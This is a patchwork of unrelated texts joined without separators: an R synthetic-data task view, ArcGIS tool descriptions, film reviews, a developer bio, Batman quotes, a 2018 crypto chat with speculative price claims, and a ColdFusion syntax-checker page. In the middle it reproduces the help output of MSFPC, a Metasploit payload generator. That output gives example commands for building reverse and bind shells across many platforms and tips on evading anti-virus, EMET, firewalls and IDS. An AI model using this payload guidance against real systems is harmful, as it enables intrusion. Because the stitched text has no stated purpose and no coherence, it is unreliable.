defines synthetic data as follows: Synthetic data is "any production data applicable to a given situation that are not obtained by direct measurement" according to the McGraw-Hill Dictionary of Scientific and Technical Terms; where Craig S. Mullins, an expert in data management, defines production data as "information that is persistently stored and used by professionals to conduct business processes."
Base
R
allow us to genetare data vectors according to different distributions with functions as:
rnorm,
rexp,
rpois,
runif,
rmultinom,
sample... This CRAN task view contains a list of packages that can be used to generate synthetic data. Also, several packages to deal with unbalanced data are listed.
The
opendata#cran-task-view-open-data
repository provides information about using R to obtain, parse, manipulate, create, and share open data. Moreover the
WebTechnologies
addresses how to obtain and parse web-based data. Furthermore, a curated list of R data packages can be found at
data-packages.
The development of this task view is fairly new and still in its early stages and therefore subject to changes. Suggestions for additions and extensions to the task view maintainer are welcomed.

These tools calculate total counts, lengths, areas, and basic descriptive statistics of features and their attributes within areas or near other features.
Aggregate Points |
Using a layer of point features and a layer of area features, this tool determines which points fall within each area and calculates statistics about all the points within each area. For example:
Summarize Nearby |
Finds features that are within a specified distance of features in the input layer. Distance can be measured along straight lines or viable paths of a travel mode. Statistics are then calculated for the nearby features. For example:
Summarize Within |
Finds areas (and portions of areas) that overlap between two layers and calculates statistics about the overlap. For example:
These tools help you explore the character of areas. Detailed demographic data and statistics are returned for your chosen areas.
Enrich Layer |
Retrieves information about the people, places, and businesses in a specific area, or within a selected travel time or distance from a location.
These tools are used to identify areas that meet a number of different criteria you specify. These criteria can be based upon attribute queries (for example, parcels that are vacant) and spatial queries (for example, within 1 kilometer of a river). The areas that are found can be selected from existing features (such as existing land parcels) or new features can be created where all the requirements are met.
Find Existing Locations |
Selects existing features in your study area that meet a series of criteria you specify. These criteria can be based on attribute queries (for example, parcels that are vacant) and spatial queries (for example, within 1 mile of a river).
Derive New Locations |
Creates new features in your study area that meet a series of criteria you specify. These criteria can be based on attribute queries (for example, parcels that are vacant) and spatial queries (for example, within 1 mile of a river).
Find Similar Locations |
Finds the locations that are most similar to one or more reference locations based on criteria that you specify.
Choose Best Facilities |
Choose the best locations for facilities by allocating locations that have demand for these facilities in a way that satisfies a given goal.
Create Viewshed |
Creates areas that are visible based on locations you specify.
Create Watersheds |
Creates catchment areas based on locations you specify.
Trace Downstream |
Determine the flow paths in a downstream direction from the locations you specify.
These tools help you identify, quantify, and visualize spatial patterns in your data.
Calculate Density |
Density analysis takes known quantities of some phenomenon and spreads these quantities across the map. You can use this tool, for example, to show concentrations of lightning strikes or tornadoes, access to health care facilities, and population densities.
Find Hot Spots |
This tool creates a map showing any statistically significant spatial clustering present in your data. Use this tool to uncover unexpected hot spots (red) and cold spots (blue) of high and low home values, crime densities, traffic accident fatalities, unemployment or biodiversity, for example.
Interpolate Points |
This tool allows you to predict values at new locations based on measurements found in a collection of points. The tool takes point data with values at each point and returns areas classified by predicted values. You can use this tool, for example, to predict rainfall levels across a watershed based on measurements taken at individual rain gauges.
These tools help you answer one of the most common questions posed in spatial analysis: "What is near what?"
Connect Origins to Destinations |
Connect Origins to Destinations measures the travel time or distance between pairs of points. The tool can report straight-line distances, road distances, or travel times. Using this tool, you can
You provide starting and ending points, and the tool returns a layer containing route lines, including measurements, between the paired origins and destinations.
Create Buffers |
A buffer is an area that covers a given distance from a point, line, or area feature.
Buffers are typically used to create areas that can be further analyzed using other tools such as Overlay Layers. For example, if the question is "What buildings are within one mile of the school?", the answer can be found by creating a one-mile buffer around the school and overlaying the buffer with the layer containing building footprints. The end result is a layer of those buildings within one mile of the school.
Create Drive-Time Areas |
A drive-time area is the area that can be reached within a specified drive time or drive distance. Drive-time areas can help you answer questions such as:
Find Nearest |
Measures the cost of traveling between incidents and facilities and determines which are closer to the other. The result is a layer showing the best routes between incidents and facilities along with the travel cost (time and distance) of each route. For example, you can use this tool to find the closest hospital to an accident or the closest ATM to your current location.
Plan Routes |
You provide a set of stops and the number of vehicles available to visit the stops, and Plan Routes determines how to efficiently assign the stops to the vehicles and route the vehicles to the stops.
Use this tool to plan work for a mobile team of inspectors, appraisers, in-home support service providers, and others; deliver or pick up items from remote locations; or offer transportation services to people.
These tools are used for both the day-to-day management of geographic data and for combining data prior to analysis.
Dissolve Boundaries |
Areas that overlap or share a common boundary are merged together to form a single area.
You can control which boundaries are merged by specifying a field. For example, if you have a layer of counties, and each county has a State_Name attribute, you can dissolve boundaries using the State_Name attribute. Adjacent counties will be merged together if they have the same value for State_Name. The end result is a layer of state boundaries.
Extract Data |
Creates a zip file, CSV, or KMZ of data from your layers and an area of interest that you specify.
Merge Layers |
Copies features from two or more existing layers into a new layer, for example:
Overlay Layers |
Overlay combines two or more layers into one single layer. You can think of overlay as peering through a stack of maps and creating a single map containing all the information found in the stack, for example:

HIMALAYA A film review by Steve Rhodes Copyright 2001 Steve Rhodes RATING (0 TO ****): *** 1/2
When it becomes a case of survival, who do you trust? Man or God? The wise old village elder or the strong young leader? In Eric Valli's exquisite HIMALAYA, the first Nepalese film ever to be nominated for an Academy Award, the villagers are faced with these simple but difficult questions.
As the story opens, the leader of the village's annual caravan has been killed in an accident so his head-strong father, Tinle (Thilen Lhondup), vows to lead the caravan instead. (The English title of the film was once CARAVAN, which is much more descriptive.) The aged Tinle seems to be in no shape to lead anything more than a trip to the well, but he insists that he can lead the caravan like he used to decades ago. First, however, he must consult the gods who will pick the best date to depart. As he labors over various religious tables, it begins to appear that he will never find an auspicious date to begin the long journey through the mountains.
As Tinle deliberates for what seems an eternity, Karma (Gurgon Kyap), a young upstart, desperately wants to lead the yak herd off before the winter storms come. It is dangerous to wait too long, he warns. The village needs the salt, which they mine, traded for grain so that they will not starve during the long, harsh winter.
Since Tinle doesn't trust Karma, he refuses to follow his lead. The rift causes the village to break into two caravans, one run by Karma and the younger men and the other led by Tinle and the elders. Their harrowing journey is visually astonishing. That the cinematography of rich browns and golds is breathtaking is obvious from the first scene. What isn't immediately obvious is that the film will become much more than just a gorgeous travelogue. The yaks, magnificent beasts of burden, become stars in their own right, but it is the human drama that captures our imagination. As they cope with their own conflicts, the caravanners have to fight a much bigger battle against the mountain. The senior citizen contingent, especially, appears to be headed for certain disaster. Maybe with some big Hollywood stars the film would seem a bit trite, but, with these honest, straightforward actors, the story is completely engrossing. You won't care about winners, you'll just be rooting for both sides to survive.
HIMALAYA runs 1:44. The film is Tibetan with English subtitles. It is not rated but could be a G since there is nothing to offend anyone of any age.

Web Developer. Web Designer. Brand Storyteller.
Hi! I was born and raised in New Orleans, Louisiana. I graduated from LSU in English-Creative Writing in 2015. I am a creative intellectual, and I love programming, as it is a creative activity in a similar relation to creative writing. I begin with an idea of a story I want to be told and seen by anyone who views it or uses my web application. Programming, much like writing, consists of piecing the appropriate parts together that create a useful and unique product that benefits the end user. I worked as the sole Digital Marketer and Social Media Specialist for a privately owned physical therapy business, where I ran marketing campaigns for three clinic locations.
Rebuilding the business website led me to editing code and which I quickly discovered my limited capabilities of creating and customizing interfaces online with the little knowledge I had with programming. I grew curious and more interested in learning to program, and began teaching myself the basics with resources online. I decided I wanted to go full into web development and enrolled at UC Berkeley Extension's Full Stack Web Development Program.
Creating projects to showcase my new programming and technical skills is what I am currently working on, and producing an updated portfolio for myself online for employers to reference my skills and abilities.


Really the easiest way to go. Bundled into linux already (msfpc)
Payload Creation Helper
https://github.com/g0tmi1k/mpc
msfpc --help verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
/usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example: /usr/bin/msfpc windows <IP_ADDRESS> # Windows & manual IP.
/usr/bin/msfpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
/usr/bin/msfpc stageless cmd py https # Python, stageless command prompt.
/usr/bin/msfpc verbose loop eth1 # A payload for every type, using eth1's IP.
/usr/bin/msfpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
/usr/bin/msfpc help verbose # Help screen, with even more information.
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
Missing <DOMAIN/IP> will default to the IP menu.
Missing <PORT> will default to 443.
<CMD> is a standard/native command prompt/terminal to interactive with.
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
Missing <CMD/MSF> will default to <MSF> where possible.
Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
<CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
<MSF> payloads are generally much larger than <CMD>, as it comes with more features.
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
Missing <BIND/REVERSE> will default to <REVERSE>.
<BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
<STAGED> are 'better' in low-bandwidth/high-latency environments.
<STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.

<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> will just create one of each <TYPE>.
<VERBOSE> will display more information.


TEXT
I'm not sure you made it loud enough, sir.
I believe whatever doesn't kill you simply makes you... stranger.
Every man who has lotted here over the centuries, has looked up to the light and imagined climbing to freedom. So easy, so simple! And like shipwrecked men turning to seawater foregoing uncontrollable thirst, many have died trying. And then here there can be no true despair without hope. So as I terrorize Gotham, I will feed its people hope to poison their souls. I will let them believe that they can survive so that you can watch them climbing over each other to stay in the sun. You can watch me torture an entire city.   And then, when that is done, and Gotham is... ashes Then you have my permission to die.
I just want my phone call.
Take a look, his speed, his ferocity, his training. I see the power of belief. I see the League of Shadows resurgent.
I honor my father by finishing his work. Vengeance against the man who killed him is simply a reward for my patience.
The training is nothing! Will is everything! The will to act.
The first time I stole so that I wouldn't starve, yes. I lost many assumptions about the simple nature of right and wrong. And when I traveled I learned the fear before a crime and the thrill of success. But I never became one of them.
Criminals thrive on the indulgence of society's understanding.
You should use your full name. I like that name, Robin.
Bane was a member of the League of Shadows. And then he was excommunicated. And any man who is too extreme for Ra's Al Ghul, is not to be trifled with.
You don't owe these people anymore. You've given them everything.
I've sewn you up, I've set your bones, but I won't bury you. I've buried enough members in the Wayne family.
A little the worse for wear, I'm afraid.
Now, our operation is small but there is a lot of potential for aggressive expansion. So which of you fine gentlemen would like to join our team? Oh. There's only one spot open right now, so we're gonna have... tryouts.
Do you feel in charge?
I see a beautiful city and the brilliant people rising from this abyss. I see the lives, for which I lay down my life. Peaceful, useful, prosperous and happy. I see that I hold a sanctuary in their hearts and in the hearts of their descendents. Generations ends. That is the far, far better thing that I do than I have ever done. That is a far, far better rest that I go to than I have ever known.
Dr. Crane isn't here right now. But if you'd like to make an appointment.

Do I really look like a guy with a plan?
Never start with the head. The victim gets all fuzzy. He can't feel the next... See?
Pretty soon we will be chasing down over due library books.
Every year, I took a holiday. I went to Florence, this cafe on the banks of the Arno. Every fine evening, I would sit there and order a Fernet Branca. I had this fantasy, that I would look across the tables and I would see you there with a wife maybe a couple of kids. You wouldn't say anything to me, nor me to you. But we would both know that you've made it, that you were happy. I never wanted you to come back to Gotham. I always knew there was nothing here for you except pain and tragedy and I wanted something more for you than that. I still do.
This is what happens when an unstoppable force meets an immovable object.
It was a dog. It was a big dog.
 Blackgate Prison, where a thousand men have languished under the name of this man: Harvey Dent.
Do you wanna know why I use a knife? Guns are too quick. You can't savor all the... little emotions. You see, in their last moments, people show you who they really are. So in a way, I knew your friends better than you ever did. Would you like to know which of them were cowards?
Is Bruce Wayne really that paranoid?
You know how to fight six men. We can teach you how to engage 600.
You can swapnot sleeping in a penthouse... for not sleeping in a mansion.
I'm Batman
Your Punishment Must Be More Severe.
Are you so desperate to fight criminals that you lock yourself in to take them on one at a time ?
Just know that there are those of us who care about what you do with your future.
We have purged your fear. You are ready to Iead these men. You are ready to become a member of the League of Shadows. But first, you must demonstrate your commitment to justice.

Perhaps you should read the instructions first?
Let me get this straight. You think that your client, one of the wealthiest, most powerful men in the world is secretly a vigilante who spends his nights beating criminals to a pulp with his bare hands and your plan is to blackmail this person? Good luck.
You wanna know how I got these scars? My father was... a drinker, and a fiend.  Mommy gets the kitchen knife to defend herself. He doesn't like that, not one bit. So, me watching he takes the knife to her, laughing while he does it. He turns to me and he says: "Why so serious?". He comes at me with the knife "Why so serious?". He sticks the blade in my mouth. "Let's put a smile on that face." and... Why so serious?
Gotham's time has come.
I know exactly who he was. He was the Batman.
You know how to disappear. We can teach you to become truly invisible.
Oh, hee-hee, aha. Ha, ooh, hee, ha-ha, ha-ha. And I thought my jokes were bad.
Carbon fiber, .28 caliber, made in China. If you wanna kill a public servant, Mr Maroni... I recommend you buy American.
Just you, sir? Don't worry, Master Wayne. It takes a little time to get back in the swing of things.
How strong a lie. Now this evil rises again where we tried to bury him. The Batman has to come back.
Accomplice? I'm gonna tell them the whole thing was your idea.
I climbed out of the pit. I found my father and brought him back to exact terrible vengeance. But by that time, the prisoners and the doctor had their work to my friend, my protector. The League took us in and trained us but my father could not accept Bane.  He excommunicated Bane from the League of Shadows. His only crime was that he loved me. I could not forgive my father, until you murdered him.
I had a vision of a world without Batman. The Mob ground out a little profit and the police tried to shut them down one block at a time. And it was so boring. I've had a change of heart. I don't want Mr Reese spoiling everything but why should I have all the fun? Let's give someone else a chance. If Coleman Reese isn't dead in 60 minutes then I blow up a hospital.
I'm here to ensure the League of Shadow fulfills its duty to restore balance to civilization. You yourself fought the decadence of Gotham for years...

Susan Granger's review of "LOST SOULS" (New Line Cinema)
You gotta wonder about a Winona Ryder movie that was supposed to be released in 1999 and doesn't make it into theaters until Friday the 13th in October, 2000. In this faith vs. reason supernatural thriller, Winona plays a devout Catholic who is not only obsessed with the concept of demonic possession but often hallucinates about Satan. She was once exorcised by a priest (John Hurt) and is now convinced that the Devil is about to re-appear on Earth in the body of an atheistic, best-selling criminology writer (Ben Chaplin) who believes "Good and Evil are only illusions" and that serial killers are motivated by "malignant narcissism." True, he's been troubled by weird dreams in which the letters XES appear. When his brother points out that the letters spell SEX backwards, he's mollified - at least until he learns that XES is also the Roman numeral "666," the sign of the Devil, and a renegade priest tries to shoot him, muttering, "The time of transformation is near!" Written by Pierce Gardner, this mangled, derivative muddle of banal mumbo-jumbo is based on his story with Betsy Stahl, and Oscar-winning cinematographer Janusz Kaminski ("Schindler's List," "Saving Private Ryan") makes an inauspicious directorial debut. Working with lenser Mauro Fiore, Kaminski's stark, stylized lighting and surrealistic imagery create a creepy atmosphere of murky darkness, heightened by Jay Riddle's special effects and Jan Kacmarek's score. It's no stretch for Winona Ryder to be a terrified, wide-eyed waif (i.e.: "Bram Stoker's Dracula" and "Alien IV"), but credit Ben Chaplin for not laughing at her when he says: "You really should get some professional help." On the Granger Movie Gauge of 1 to 10, "Lost Souls" is a far-fetched 2. "Deliver us from evil..." says the ads. Deliver us from movies like this!

The delay was just an excuse to dump the whole market. It was already known there was a high chance of it being delayed until September. SEC can delay it up until March if they wish.

then what to expect when they'll have no choice but approve it
I believe this is only a matter of time

i hate this ETF BS... don't need them and don't want them... if people want to invest in crypto, then they should buy crypto, like everyone else too... if they are not intelligent enough to do that they should invest their money in "Pork Bellies Futures"
Hollowman900007-Aug-18 11:26 PM
B..but institutional money and custody
bishop07-Aug-18 11:27 PM
The ETF actually needs to hold the underlying coins for it to have any real value
if it is just a tracker like futures, no actual demand
Hollowman900007-Aug-18 11:27 PM
How will these custody issues be resolved?
Joe basementdweller ex-NEET is a network security guy for 60k/yr

bishop07-Aug-18 11:29 PM
Coinbase charges 1% annually to custody Bitcoin for institutions
most likely a small fraction for redemptions with a multisig wallet 3 of 5, 5 of 7 dealio for the bollus

Maybe only the CEO has access to the vault where the in-house encryption keys are held?
True
Forgot about multisig

When a true ETF product does come to light (that actually holds coins and doesn't track an index), I'll propose a 1% allocation for our model portfolios

My main bet is in BCH I can see that flippening happening during this bear and BTC will have no means to reflip it
The flip will instantly be insane gains and I think that'll be before komodos moon
Alot of people never saw the Myspace -> Facebook flip or the Yahoo -> Google. It's coming don't worry

BCH... ewww
I'm not a core guy but bcash, no no no
BlackJesus08-Aug-18 02:37 AM
It's better for the ecosystem that something that can scale becomes the base. Not to core/ethereum

might as well go 1gb blocks
BlackJesus08-Aug-18 02:38 AM
They eventually will
At that point vendors and miners will be running nodes
Everyone else will use spv proofs to access their funds
bishop08-Aug-18 02:39 AM
Well good luck
BlackJesus08-Aug-18 02:39 AM
The way Bitcoin was always intended to be used
Spv Merkle proofs
bishop08-Aug-18 02:40 AM
times have changed, btc isn't going to be used for day-to-day
there are better alternatives for that
cash-like txs should have 10min block times (so your bch doesn't solve that)
shouldn't*
BlackJesus08-Aug-18 02:41 AM
BTC as a digital gold doesn't work. Usage drives price
If usage creates high fees then users leave
bishop08-Aug-18 02:42 AM
and the hashrate is what exactly?
 :/
The hashrate is negligible miners mine what's profitable
bishop08-Aug-18 02:43 AM
10 minute blocktimes will not be used for day-to-day txs
BlackJesus08-Aug-18 02:43 AM
Bitcoin's hashrate could easily be subjugated to BCH's they aren't going to mine at a loss.
bishop08-Aug-18 02:43 AM
not from a practical standpoint anyway
BlackJesus08-Aug-18 02:43 AM
It should be
And 10 minute settlement destroys everything we have on the fiat system
Ever made a 10k bank transfer on coinbase
Wait 7 days
That's settlement
bishop08-Aug-18 02:44 AM
I agree the traditional settlement is broken
no argument there
BlackJesus08-Aug-18 02:44 AM
The chain is meant for day to day transactions point blank or it's worthless
bishop08-Aug-18 02:45 AM
so use a faster blockchain and settle on the mainchain
BlackJesus08-Aug-18 02:45 AM
Why do that when the main chain can just work and I don't have to get an IOU
I can actually get my coins in 10 minutes and not have them escrowed in a hot wallet until resolved onchain
bishop08-Aug-18 02:48 AM
then you should believe coins like KMD are pointless in the grand scheme of things
BlackJesus08-Aug-18 02:52 AM
Kmd offers localized solutions and a defense community to avoid centralized offerings
Decentralized community*
I've been with kmd for a while now. Recyling hashrate is ingenius and I see becoming a standard of local blockchain solutions
bishop08-Aug-18 02:53 AM
but your point was just that the main chain can just work... everything else at that point is noise, is it not?
one block chain, no need for anything else, right
BlackJesus08-Aug-18 02:58 AM
You misinterpreting the base currency has to just work no frills. Be safe always work, consistent network fees.
bishop08-Aug-18 02:59 AM
I guess I fail to see how you can make exceptions... if you want personalized solutions, then you admit the need for multiple blockchains. If you made it that far, then day-to-day txs can use a faster blockchain. Hence, BCH doesn't solve anything
BlackJesus08-Aug-18 03:00 AM
Komodos has purpose for how they are enabling personalized blockchain solutions with the security of the highest hashpower chain. Bch solves bitcoin. Komodo is not Bitcoin and isn't trying to be.
bishop08-Aug-18 03:01 AM
so if I have a 1 second blockchain backed by bitcoin's hashrate how is BCH relevant?
BlackJesus08-Aug-18 03:01 AM
For some reason you guys think bitcoina hashrate is loyal which is wholly hilarious.
bishop08-Aug-18 03:02 AM
until proven otherwise....
BlackJesus08-Aug-18 03:02 AM
When BCH is worth more than BTC the hashrate will follow
bishop08-Aug-18 03:02 AM
if*
BlackJesus08-Aug-18 03:02 AM
No if
It's going to happen
bishop08-Aug-18 03:02 AM
guess I love your facts about the future
BlackJesus08-Aug-18 03:03 AM
Venders are already abandoning it as well as the biggest businesses birthed from it
Bitpay bitmain owe everything to Bitcoin and they have moved to BCH
If they don't know the market no one does. /End rant
bishop08-Aug-18 03:04 AM
bitmain stockpiling BCH.... shocker.
BlackJesus08-Aug-18 03:04 AM
I guess they don't know the market
bishop08-Aug-18 03:05 AM
Well, I look forward to being proven wrong. Until then, BTC is king
BlackJesus08-Aug-18 03:05 AM
And became a company with more revenue than Samsung on accident
Samsung which owns the entire Asian Cell Phone Market.
Which is vastly superior to the euopean market

I cant see it going below 5k too much buying historically between 5.5k and 6.5k


Version 4.0 of the Cold Fusion Application Server features
stricter enforcement of CFML syntax rules. Strict checking can
uncover hidden bugs and other types of undesirable behaviors in
your CFML templates. Allaire recommends that you always use the
strictest possible level of CFML template validation.
In rare cases, the more relaxed validation mechanisms used by
previous versions of Cold Fusion may have allowed you to use
syntactically incorrect CFML constructs. The CFML Syntax Checker
is a simple application that can aid you in the process of
discovering which of your CFML templates may not conform to the
rules CFML 4.0.
Use the form below to specify the directory where your CFML
templates are located. If you have some legacy DBML code, you may
want to change the file search filter to *.?fm so that
both *.dbm and *.cfm files are checked. If you
do not want to look for CFML templates in nested sub-directories,
you should uncheck the Recurse checkbox. (Note:
Don't forget to check your custom tag templates. They reside in
the CustomTags directory under the root of your Cold Fusion
installation.)
The syntax checker will return a list of the templates that
failed the syntax checks and the error message that each failed
template generated. (Note: If you have many
templates syntax checking can take a few minutes. Please, be
patient.)
